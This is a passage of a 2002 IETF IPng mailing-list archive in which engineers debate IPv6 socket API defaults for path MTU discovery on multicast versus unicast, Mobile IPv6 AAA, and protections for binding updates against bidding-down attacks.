explicitly requested. I don't think it takes that much complicated intelligence in the kernel to have different defaults for multicast and unicast. It's not so much judging application programmers as "silly" as reminding them of consequences they may have forgotten or never realized. Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 11:00:32 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38I0VmF000642; Mon, 8 Apr 2002 11:00:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38I0VWT000641; Mon, 8 Apr 2002 11:00:31 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38I0UmF000634 for ; Mon, 8 Apr 2002 11:00:30 -0700 (PDT) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id g38HxFpw002286 for ; Mon, 8 Apr 2002 10:59:15 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id g38HxF5X002285 for ipng@sunroof.eng.sun.com; Mon, 8 Apr 2002 10:59:15 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g36HTIKL025492 for ; Sat, 6 Apr 2002 09:29:18 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA01864 for ; Sat, 6 Apr 2002 09:29:20 -0800 (PST) Received: from cisco.com (cypher.cisco.com [171.69.11.18]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA16842 for ; Sat, 6 Apr 2002 10:29:20 -0700 (MST) Received: (from eckert@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id JAA14791; Sat, 6 Apr 2002 09:28:39 -0800 (PST) Date: Sat, 6 Apr 2002 09:28:39 -0800 From: Toerless Eckert To: "JINMEI Tatuya / ?$B?@L@C#:H?(B" Cc: Toerless Eckert , matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal Message-ID: <20020406092839.Y23226@cypher.cisco.com> References: <20020405102605.J23226@cypher.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jinmei@isl.rdc.toshiba.co.jp on Sat, Apr 06, 2002 at 04:49:20PM +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sat, Apr 06, 2002 at 04:49:20PM +0900, JINMEI Tatuya / ?$B?@L@C#:H?(B wrote: > I see your point. However, I'm not sure if we really need a new > option to deal with this issue. An application can in fact avoid ICMP > implosion by setting IPV6_USE_MIN_MTU. This only requires 4 (or a bit > more) additional lines like: > > { > int on = 1; > if (setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &on, sizeof(on))) > /* error handling */; > } > > Is it really a big deal to let programmers omit the additional lines, > comparing to the complexity of adding a new socket option? My > personal feeling is that it is enough to add some note which suggests > setting IPV6_USE_MIN_MTU for sockets used to send multicast packets. Well, i've just seen bad and worse ip multicast applications over the last 10 years, programmers have been ignorant about the issues at hand and people who deploy the applications have been ignorant about the network issues they cause. So my point in face of all this is those two recommendations in my original mail: - Change the default behavior (1280 max MTU) for ip multicast packets so all those lazy programmers and users get the desired default behavior. Don't trust them to do/program the right thing by default. - Ignore the setting of IPV6_USE_MIN_MTU. Again, this is for reasons of avoiding that programmers who don't really think about multicast but use it will get the wrong default behavior. It would be completely confusing to have the default behavior for sending ip multicast packets to be 1280, but then if somebody explicitly set's IPV6_USE_MIN_MTU to OFF, we would change - that is, why i am very much persuaded, that this option should only apply for unicast. > Secondly, the proposed option "IPV6_MULTICAST_MTU_DISC" seems to me a > bit ad-hoc. If we wanted to go with this path, I'd rather generalize > the MTU-related option like as follows: Yes, the proposed option was ad-hoc and i am happy with trying to make it more generic, but again: - The main key to all the API issues is the fact that we should have two different defaults for unicast and multicast: Path MTU discovery is cool and wonderfull for unicast, it is bad and silly for multicast (especially for non-ssm style multicast where you may have groups with thousands of hosts starting to send few packets amongst themselves and routers really don't want to keep track of them individually). - Because of the different default behaviors that we want for unicast and multicast, a more generic option should always differentiate wether it is applied to unicast and/or multicast ! > - add a new socket option, say, "IPV6_PMTU_DISC", which takes an > integer as an argument > - the semantics of the argument is: > + 0: let the kernel make a decision whether to perform path MTU > discovery. the recommended way to make the decision is: > fragment packets at the minimum MTU if the destination is a > multicast address. otherwise, perform path MTU discovery. > + 1: force the kernel to perform path MTU discovery > + 2: specify the kernel to fragment packets at the minimum MTU > (equivalent to IPV6_USE_MIN_MTU) > + 3: specify the kernel not to fragment packets > (equivalent to IPV6_DONTFRAG) > - this option can also be used as an ancillary data item for > per-packet control. > - IPV6_USE_MIN_MTU and IPV6_DONTFRAG will be deprecated by the new > IPV6_PMTU_DISC option. So, logically i want a second argument: wether or not this option should apply to unicast and/or multicast. Now we can still make this all one integer by using a simple bitmask: #define PMTU_UNICAST 1 #define PMTU_MULTICAST 2 #define PMTU_ALLPAKETS 3 #define PMTU_DEFAULT 0 /* default behavior: ucast:disc, mcast:min */ #define PMTU_MTUDISC 4 #define PMTU_MINMTU 8 #define PMTU_DONTFRAG 12 (eg: setsockopt(s, IPPROTO_IPV6, IPV6_PMTU_DISC, PMTU_ALLPAKETS | PMTU_DONTFRAG)) or use bitfield definitions if that's more conformant with policies. And if that option would replace USE_MIN_MTU and DONTFRAG, then i would like that very much ! Cheers Toerless -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 9 01:57:26 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g398vPIA001467; Tue, 9 Apr 2002 01:57:25 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g398vPTm001466; Tue, 9 Apr 2002 01:57:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g398vMIA001459 for ; Tue, 9 Apr 2002 01:57:22 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA06859 for ; Tue, 9 Apr 2002 01:57:25 -0700 (PDT) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA01164 for ; Tue, 9 Apr 2002 02:57:18 -0600 (MDT) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id g398uoA10572; Tue, 9 Apr 2002 10:56:50 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id KAA15589; Tue, 9 Apr 2002 10:56:50 +0200 (MET DST) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id g398unn12984; Tue, 9 Apr 2002 10:56:49 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200204090856.g398unn12984@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Hesham Soliman (ERA)" cc: Damir Bilajbegovic , ipng@sunroof.eng.sun.com Subject: Re: Authentication, Authorization and Accounting (aaa) In-reply-to: Your message of Mon, 08 Apr 2002 16:39:28 +0200. <4DA6EA82906FD511BE2F00508BCF053802C6AC43@Esealnt861.al.sw.ericsson.se> Date: Tue, 09 Apr 2002 10:56:49 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > => why do you speak about PANA? The request is clearly for > a document > about AAA and Mobile IPv6. => PANA is the interface between the MN and the visited/Home network. I consider that interface to be part of AAA. At least the first 2 A's. => I like PANA but I have to disagree: PANA is only one possible interface between the MN and the AAA system. You can use some other interfaces like PPP, IEEE 802.1X, etc (fortunately because no PANA protocol is really available today :-). > I don't even know if it is a AAA WG draft. > > => the name can answer to your question: this is not an AAA > WG draft, > mainly because MIPv6 is still far from last call. => I don't think that's the reason at all, but => this is the reason given at an AAA session in an IETF meeting (but I could not attend this session so this is what the other authors of the I-D explained to me). this is a discussion for another thread and mailing list. => I agree: this discussion has nothing to do in this mailing list. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 9 08:27:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39FRkIA001961; Tue, 9 Apr 2002 08:27:46 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g39FRkiB001960; Tue, 9 Apr 2002 08:27:46 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39FRgIA001953 for ; Tue, 9 Apr 2002 08:27:42 -0700 (PDT) Received: from lillen (d-mpk17-86-109.Eng.Sun.COM [129.146.86.109]) by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id g39FRXx17314; Tue, 9 Apr 2002 17:27:34 +0200 (MEST) Date: Tue, 9 Apr 2002 08:27:09 -0700 (PDT) From: Erik Nordmark Reply-To: Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for something else To: Tony Hain Cc: Erik Nordmark , Pekka Nikander , Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@Sun.COM, ipng@sunroof.eng.sun.com, Erik Nordmark Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > Perhaps you don't think it is necessary for the MN to be able > > to express > > this. But it is the packets to that MN that are being "redirected" by > > an attacker. > > > > Yes, but there is nothing the MN can do about that without feedback from > the CN about how it will handle a BU. Simply setting a bit does not > assure that the CN will act acording to the MN's intentions. The proposal is that a CN MUST NOT accept a BU using return routability when the bit is set. How does this require feedback in order to work? Sure, the CN can violate the protocol, and this MUST NOT in particular, but we can't design protocols that can't be violated by those who so desire. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 9 08:31:27 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39FVQIA001982; Tue, 9 Apr 2002 08:31:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g39FVQ4v001981; Tue, 9 Apr 2002 08:31:26 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39FVMIA001974 for ; Tue, 9 Apr 2002 08:31:23 -0700 (PDT) Received: from lillen (d-mpk17-86-109.Eng.Sun.COM [129.146.86.109]) by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id g39FVFx17780; Tue, 9 Apr 2002 17:31:15 +0200 (MEST) Date: Tue, 9 Apr 2002 08:29:43 -0700 (PDT) From: Erik Nordmark Reply-To: Erik Nordmark Subject: RE: Using "a bit" as a protection against bidding down / for something else To: Tony Hain Cc: JJ Behrens , Alberto Escudero-Pascual , Erik Nordmark , Pekka Nikander , Jari Arkko , Brian E Carpenter , "Hesham Soliman (ERA)" , gab@sun.com, ipng@sunroof.eng.sun.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Trying to > overload the semantics of Alice telling Bob that she will be using > secure MIPv6 (particularly through a single bit) as a message that Bob > must reciprocate is fundamentally flawed. What if Bob had no means to > use secure MIPv6? How can Alice tell that condition from Mallory sitting > in the middle? What is to prevent Mallory from doing a double address > NAT thing where its own IID ends up being presented to Alice and Bob > along with appropriate credentials? The address is simply the wrong > place to put a single bit flag that really accomplishes nothing in the > end. If Bob has no means to use secure MIPv6 it will reject the BU with a Binding Ack containing an error. The result will be that the traffic between Alice and Bob will use bidirectional tunneling through the home agent, which is secure. If there is a permanent Mallory in the path between Alice and Bob then the residual threats when using RR to secure the BUs are not any more severe than with the current IPv4 (and no mobility). The MiTM can arbitrarely inspect and modify content. The residual threat that RR adds is the ability for Mallory to be present on the path for a short time (order the round-trip time) and cause packets to be redirected for a long time (current thinking is 5-10 minutes). So what is this "real protocol" that you are talking about here that allows Alice to securely communicate its policy to Bob without requiring any pre-established security or any PKI? Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 9 11:42:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39IgmIA004345; Tue, 9 Apr 2002 11:42:48 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g39Igmdl004344; Tue, 9 Apr 2002 11:42:48 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39IgiIA004337 for ; Tue, 9 Apr 2002 11:42:44 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA14101 for ; Tue, 9 Apr 2002 11:42:47 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA19707 for ; Tue, 9 Apr 2002 12:42:46 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1041::6]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g39IgWo45870; Wed, 10 Apr 2002 03:42:32 +0900 (JST) Date: Wed, 10 Apr 2002 03:42:29 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Toerless Eckert Cc: matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: References: <20020405102605.J23226@cypher.cisco.com> <20020406092839.Y23226@cypher.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 47 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 08 Apr 2002 23:56:32 +0900, >>>>> JINMEI Tatuya said: >> Well, i've just seen bad and worse ip multicast applications over the >> last 10 years, programmers have been ignorant about the issues at hand >> and people who deploy the applications have been ignorant about the >> network issues they cause. > Out of curiosity, do you have concrete examples of the bad > applications? I tend to agree with you, but I'm still not fully > convinced that application programmers are that silly and we need to > add the complicated intelligence to the kernel. I've got an example from a private message, and I now agree that we need some changes on the current API spec. Considering the tradeoff between the advantage of safe API specification and the disadvantage of the loss of compatibility and/or the complexity of the additional API knobs, I'd like to propose the following approach: allow IPV6_USE_MIN_MTU 3 arguments, -1, 0, and 1. the semantics of the 3 values are as follows: -1: if the destination is unicast, regard the path MTU and perform path MTU discovery if necessary. if the destination is multicast, fragment the packet at the minimum MTU (and disable path MTU discovery as a result) ***This is the default value of the option, including the case where the application does not explicitly specify this option*** 0: always regard the path MTU, regardless of the destination (unicast or multicast). 1: always fragment packets at the minimum MTU, regardless of the destination. This way the default behavior will be optimal while keeping compatibility to existing implementations that use IPV6_USE_MIN_MTU and avoiding additional socket options. This may still be regarded as an ad-hoc solution, but I believe this is practically the best way. Is this change acceptable? JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 9 14:59:22 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39LxMIA006336; Tue, 9 Apr 2002 14:59:22 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g39LxMnC006335; Tue, 9 Apr 2002 14:59:22 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39LxLIA006328 for ; Tue, 9 Apr 2002 14:59:21 -0700 (PDT) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id g39Lw6w9000603 for ; Tue, 9 Apr 2002 14:58:06 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id g39Lw6cA000602 for ipng@sunroof.eng.sun.com; Tue, 9 Apr 2002 14:58:06 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g39KtHIA005984 for ; Tue, 9 Apr 2002 13:55:17 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA21091 for ; Tue, 9 Apr 2002 13:55:19 -0700 (PDT) Received: from cisco.com (cypher.cisco.com [171.69.11.18]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA29423 for ; Tue, 9 Apr 2002 13:55:19 -0700 (PDT) Received: (from eckert@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id NAA08537; Tue, 9 Apr 2002 13:54:19 -0700 (PDT) Date: Tue, 9 Apr 2002 13:54:19 -0700 From: Toerless Eckert To: "JINMEI Tatuya / ?$B?@L@C#:H?(B" Cc: Toerless Eckert , matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal Message-ID: <20020409135419.T23226@cypher.cisco.com> References: <20020405102605.J23226@cypher.cisco.com> <20020406092839.Y23226@cypher.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jinmei@isl.rdc.toshiba.co.jp on Wed, Apr 10, 2002 at 03:42:29AM +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk If we would change the default for applications that don't explicitly configure any value of IPV6_USE_MIN_MTU to now be the value of "-1", then this extension would give us something, otherwise not (the main incentive is to change the default behavior for multicast packets). Even with -1 as a default i think that i would prefer a cleaner API and quite frankly i don't think that we are so short into the life of IPv6 that it doesn't really make too much sense to obfuscate such rather exotic API pieces for the sake of backward compatibility (i.e.: there's so little application already written using that API compared to what we in the future want to see being written but using a clean API). For this reason i proposed to add a new API call that would allow to set the MTU behavior of unicast and multicast individually or together and simply consider IPV6_USE_MIN_MTU to only apply to unicast - after all, it's quite obvious that multicast wasn't really much thought off when that API call was designed, so going along this path not only gives us a clean new API call, but also allows us to keep backward compatibility of IPV6_USE_MIN_MTU for that scope of applications (unicast) that were obviously only considered for it in the first place - i.e.: sufficient backward compatiblity AND a clean new API call (API call along the lines of the last emails proposal i sent). Cheers Toerless On Wed, Apr 10, 2002 at 03:42:29AM +0900, JINMEI Tatuya / ?$B?@L@C#:H?(B wrote: > >>>>> On Mon, 08 Apr 2002 23:56:32 +0900, > >>>>> JINMEI Tatuya said: > > >> Well, i've just seen bad and worse ip multicast applications over the > >> last 10 years, programmers have been ignorant about the issues at hand > >> and people who deploy the applications have been ignorant about the > >> network issues they cause. > > > Out of curiosity, do you have concrete examples of the bad > > applications? I tend to agree with you, but I'm still not fully > > convinced that application programmers are that silly and we need to > > add the complicated intelligence to the kernel. > > I've got an example from a private message, and I now agree that we > need some changes on the current API spec. > > Considering the tradeoff between the advantage of safe API > specification and the disadvantage of the loss of compatibility and/or > the complexity of the additional API knobs, I'd like to propose the > following approach: > > allow IPV6_USE_MIN_MTU 3 arguments, -1, 0, and 1. the semantics of > the 3 values are as follows: > -1: if the destination is unicast, regard the path MTU and perform > path MTU discovery if necessary. if the destination is > multicast, fragment the packet at the minimum MTU (and disable > path MTU discovery as a result) > ***This is the default value of the option, including the case > where the application does not explicitly specify this option*** > 0: always regard the path MTU, regardless of the destination > (unicast or multicast). > 1: always fragment packets at the minimum MTU, regardless of the > destination. > > This way the default behavior will be optimal while keeping > compatibility to existing implementations that use IPV6_USE_MIN_MTU > and avoiding additional socket options. > > This may still be regarded as an ad-hoc solution, but I believe this > is practically the best way. > > Is this change acceptable? > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp -- Thanks Toerless Eckert -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 10 01:07:00 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3A86xIA007589; Wed, 10 Apr 2002 01:06:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3A86xLq007588; Wed, 10 Apr 2002 01:06:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3A86tIA007578 for ; Wed, 10 Apr 2002 01:06:55 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA03307 for ; Wed, 10 Apr 2002 01:06:57 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA12522 for ; Wed, 10 Apr 2002 02:06:56 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3A86co50616; Wed, 10 Apr 2002 17:06:39 +0900 (JST) Date: Wed, 10 Apr 2002 17:06:37 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Toerless Eckert Cc: matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: <20020409135419.T23226@cypher.cisco.com> References: <20020405102605.J23226@cypher.cisco.com> <20020406092839.Y23226@cypher.cisco.com> <20020409135419.T23226@cypher.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 59 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 9 Apr 2002 13:54:19 -0700, >>>>> Toerless Eckert said: > If we would change the default for applications that don't explicitly > configure any value of IPV6_USE_MIN_MTU to now be the value of "-1", > then this extension would give us something, otherwise not (the > main incentive is to change the default behavior for multicast packets). I'm not sure if I understand the nuance of the sentence above, but I intended in my proposal that "we do change the default for applications that don't explicitly configure any value of IPV6_USE_MIN_MTU to now be the value of -1". > Even with -1 as a default i think that i would prefer a cleaner API and quite > frankly i don't think that we are so short into the life of IPv6 that it > doesn't really make too much sense to obfuscate such rather exotic > API pieces for the sake of backward compatibility (i.e.: there's so little > application already written using that API compared to what we in the > future want to see being written but using a clean API). I'm sorry, but I have a quite different view about the deployment status of IPv6 and the advanced API. (As you may have known) many major OSes (including Windows, Solaris, Linux and BSDs) have officially supported IPv6. Some major network vendors have already shipped IPv6-ready routers. We'll see (or even have seen) nation-wide IPv6 commercial services here in Japan within this year. Also, I know at least one OS (BSD/OS) has already shipped with the rfc2292bis API. I also hear that Solaris has (at least partly) adopted rfc2292bis. I don't know the situation about other OSes, but I guess BSD/OS and Solaris are not the only instance. BIND 9 uses the IPV6_USE_MIN_MTU socket option in its release versions since more than a year before. Unfortunately, rfc2292bis has lost compatibility to its ancestor, RFC 2292, in many points. The current situation where some OSes provide RFC 2292 and some provide rfc2292bis is really confusing for application programmers. This is another reason why we want to fix and publish the API spec as soon as possible. Adding another socket option surely introduces a delay of the process. Frankly, I really want to keep the delay as short as possible, as long as the API spec provides the "correct" behavior (in this case, it means the default behavior for multicasted packets will fragment the packets at the minimum MTU). Also, I don't think the approach I proposed obfuscates the API spec if we describe the background well, and I'd rather prefer the advantage to keep the number of options than introducing the "clean" API. (This is just my thoughts. I know you may have a different opinion, on which we can perhaps not reach consensus.) Considering all of this above, I'd very much like to go with the approach I proposed. I'll hear from others for while, but could you agree with the decision if there is no other strong objection? Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 10 10:53:53 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3AHrqIA010212; Wed, 10 Apr 2002 10:53:52 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3AHrqKm010211; Wed, 10 Apr 2002 10:53:52 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3AHrmIA010204 for ; Wed, 10 Apr 2002 10:53:48 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA09209 